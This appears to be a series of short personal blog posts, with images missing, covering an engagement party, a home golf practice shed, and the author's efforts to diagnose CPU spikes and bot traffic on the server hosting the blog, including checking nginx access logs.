Me and Emma celebrated a beautiful engagement party on the weekend.

Was a very special night.

This is what my current golf shed setup looks like.

It works perfectly practising 5 iron to 60 degree which I'm super happy with. This is both from the tee and off the deck. With a proper net I think it would be possible to hit driver.

Down the line to enhance this setup I'd like to have:

1. A putting mat
2. A launch monitor

Related to this post I quite often see big spikes in my CPU usage on my cloud compute instance which grinds my blog to a halt.

This is the CPU usage over the last 14 days:

We can see that there's 3 occasions where usage has basically gone to 95% which is bad.

I've tried a few things to stop this from happening:

• Rate limiting (using nginx)
• Using renderToReadableStream instead of renderToString on the server, this was an easy win but I think it just slightly improved performance
• Ensuring everything is properly cached with Cloudflare, I'm still not sure if I'm doing this properly

It's definitely been a learning experience so far investigating this stuff. Hopefully I can debug what the exact cause is. Maybe it's still multiple things?

Running my blog on a proper cloud compute instance with nginx can give you a lot more insight into your website traffic. Here is a selection of weird requests I've received a lot of. I assume many of these are bots trying to hack me.

I ssh into my instance and run

cat /var/log/nginx/access.log

to see a bunch of requests and logs.

It's pretty sad that the internet is just a cesspool of bots and bad actors trying to do bad things.

I need to try some of these moves during my nightly wrestle with Boots.
